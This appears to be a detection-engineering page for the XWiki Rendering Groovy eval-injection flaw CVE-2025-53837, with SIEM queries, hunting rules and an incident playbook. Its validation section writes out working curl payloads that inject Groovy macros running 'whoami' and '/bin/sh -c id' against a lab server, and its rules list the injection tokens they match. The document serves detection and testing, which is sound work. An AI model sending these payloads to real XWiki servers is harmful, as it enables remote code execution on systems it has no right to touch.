Detect CVE-2025-53837: XWiki Rendering XML Eval Injection (Groovy/RCE) in IBM QRadar
Detects exploitation of CVE-2025-53837, a CWE-95 Eval Injection vulnerability in the org.xwiki.rendering:xwiki-rendering-xml Maven artifact (XWiki Rendering) affecting versions before 14.10.2. Untrusted XML rendering input containing script macros or embedded code (e.g. Groovy) is passed to an evaluation context, allowing an attacker who can submit wiki/rendering content to achieve remote code execution on the XWiki server. This detection surfaces suspicious rendering requests carrying script/macro payloads, anomalous child-process spawning from the XWiki JVM, and outbound callbacks following content submission.
MITRE ATT&CK
- Tactic
- Execution Initial Access
QRadar Detection Query
SELECT QIDNAME(qid) AS event, sourceip, destinationip, username, "URL", "Request Method", "Post Body", starttime
FROM events
WHERE ("URL" ILIKE '%/bin/view%' OR "URL" ILIKE '%/bin/save%' OR "URL" ILIKE '%/rest/%')
AND ("Post Body" ILIKE '%{{groovy%' OR "Post Body" ILIKE '%{{script%' OR "Post Body" ILIKE '%Runtime.getRuntime%' OR "Post Body" ILIKE '%ProcessBuilder%' OR "URL" ILIKE '%groovy%')
ORDER BY starttime DESC LAST 24 HOURSReturns XWiki rendering requests to app endpoints whose URL or POST body carries Groovy/script eval-injection tokens.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate macro authoring by privileged wiki users
- Content migration or REST-based automation
- Vulnerability scanners
Other platforms for CVE-2025-53837
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1XWiki rendering Groovy macro injection via POST
Expected signal: Web access log entry POST /bin/save/Sandbox/PoC with body containing {{groovy}} and .execute(); XWiki application log rendering the macro.
- Test 2XWiki REST rendering injection with ProcessBuilder payload
Expected signal: REST PUT request logged with ProcessBuilder token in body; JVM spawns /bin/sh -c id child process.
- Test 3JVM-parented shell spawn simulation
Expected signal: ProcessRollup2 / Sysmon EID 1 showing java parent context and cmd.exe/whoami child execution.
References (8)
- https://github.com/xwiki/xwiki-rendering/security/advisories/GHSA-26vp-8gxg-v4pg
- https://github.com/xwiki/xwiki-rendering/commit/92bc8095ed3acce15ab200c8525e1623b4898be5
- https://github.com/xwiki/xwiki-rendering/releases/tag/xwiki-rendering-14.10.2
- https://github.com/xwiki/xwiki-rendering/releases/tag/xwiki-rendering-15.0-rc-1
- https://jira.xwiki.org/browse/XRENDERING-693
- https://jira.xwiki.org/browse/XWIKI-20313
- https://jira.xwiki.org/browse/XWIKI-20327
- https://github.com/advisories/GHSA-26vp-8gxg-v4pg
Response Playbook
Triage
- Extract the full decoded request body/URL and confirm it targets an XWiki rendering endpoint (/bin/view, /bin/save, /bin/preview, /rest) and contains a script/macro token such as {{groovy}}, {{script}}, Runtime.getRuntime, or ProcessBuilder.
- Identify the XWiki server version by checking the deployed org.xwiki.rendering:xwiki-rendering-xml artifact; versions < 14.10.2 are vulnerable while 14.10.2 / 15.0-rc-1 and later are patched.
- Determine whether the submitting account is authenticated and whether it holds programming/script rights — an unprivileged or anonymous submitter reaching eval indicates true exploitation rather than authorized authoring.
- Correlate the request timestamp with any JVM-parented child process (shell, curl, wget, nc) or outbound connection on the XWiki host.
Containment
- Isolate the affected XWiki host from the network or block inbound access to the rendering endpoints at the WAF/reverse proxy until patched.
- Disable or revoke script/programming rights for non-administrative accounts and suspend the suspected attacker account.
- Upgrade org.xwiki.rendering:xwiki-rendering-xml to 14.10.2 (or 15.0-rc-1+) and restart the application server.
Evidence Collection
- Preserve web/proxy access logs containing the raw request bodies and the XWiki application logs around the event window.
- Capture process-creation telemetry (Sysmon/EDR/auditd) for the JVM process tree and any spawned children, plus memory of the java process if RCE is suspected.
- Export any files written to the XWiki temp/work directories and collect JVM stdout/stderr and the rendering cache.
Escalation Criteria
- !Escalate to incident response if a JVM-parented shell, download utility, or reverse-shell process is confirmed following the injection request.
- !Escalate if the injection originated from an unauthenticated or low-privilege account, indicating exploitation of the vulnerability rather than authorized macro use.
- !Escalate if outbound C2/callback traffic, new persistence, or lateral movement is observed from the XWiki host.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server / reverse-proxy access logs containing the raw POST body with macro tokens - >
XWiki application and rendering-cache logs - >
JVM process-tree and child-process creation records (Sysmon EID 1 / auditd execve / EDR) - >
Files dropped in XWiki temp/work directories or webapp path
Tuning Guidance
Baseline which accounts legitimately hold programming/script rights and author Groovy macros; add those users and their source IPs to an allowlist so the detection focuses on unauthenticated or low-privilege submitters. Restrict the process-correlation leg to hosts running the XWiki JVM to reduce noise, and after upgrading to 14.10.2+ retain the rule at lower severity to catch continued probing.
Hunting Queries
Hunt for any XWiki rendering requests carrying Groovy/script eval-injection tokens grouped by source and endpoint over time.
W3CIISLog | extend Decoded=url_decode(coalesce(csUriQuery,"")) | where Decoded has_any ("{{groovy","{{script","Runtime.getRuntime","ProcessBuilder") | summarize count() by cIP, csUserName, csUriStem, bin(TimeGenerated,1h)index=web (uri_path="*xwiki*" OR uri_path="*/bin/*") | eval d=urldecode(coalesce(form_data,uri_query)) | search d="*{{groovy*" OR d="*Runtime.getRuntime*" OR d="*ProcessBuilder*" | stats count by src_ip user uri_pathAtomic Red Team Tests
Submits a wiki page save request containing a Groovy script macro that executes an OS command, simulating eval injection against a vulnerable rendering endpoint.
Command
curl -s -k -u attacker:attacker -X POST 'https://xwiki.lab.local/bin/save/Sandbox/PoC' --data-urlencode 'content={{groovy}}println "cve-2025-53837".execute() ; "whoami".execute().text{{/groovy}}'Cleanup
curl -s -k -u admin:admin -X GET 'https://xwiki.lab.local/bin/delete/Sandbox/PoC?confirm=1'Expected Telemetry
Web access log entry POST /bin/save/Sandbox/PoC with body containing {{groovy}} and .execute(); XWiki application log rendering the macro.
Expected Detection
KQL/SPL web rules match the {{groovy}} / .execute token in the request body.
Sends a REST request to render untrusted XML/wiki content invoking ProcessBuilder to spawn a shell.
Command
curl -s -k -u attacker:attacker -H 'Content-Type: text/plain' -X PUT 'https://xwiki.lab.local/rest/wikis/xwiki/spaces/Sandbox/pages/RestPoC' --data-binary '{{groovy}}new ProcessBuilder(["/bin/sh","-c","id"]).start(){{/groovy}}'Cleanup
curl -s -k -u admin:admin -X DELETE 'https://xwiki.lab.local/rest/wikis/xwiki/spaces/Sandbox/pages/RestPoC'Expected Telemetry
REST PUT request logged with ProcessBuilder token in body; JVM spawns /bin/sh -c id child process.
Expected Detection
EQL sequence / CrowdStrike CQL match on java-parented sh process; web rule matches ProcessBuilder token.
Simulates the post-injection outcome by having a java process launch a shell command, matching the EDR process-correlation leg.
Command
powershell -Command "Start-Process java -ArgumentList '-version'; cmd.exe /c whoami"Cleanup
echo No cleanup required; commands are read-only.Expected Telemetry
ProcessRollup2 / Sysmon EID 1 showing java parent context and cmd.exe/whoami child execution.
Expected Detection
CrowdStrike CQL and KQL DeviceProcessEvents correlation flag the JVM-parented shell/whoami process.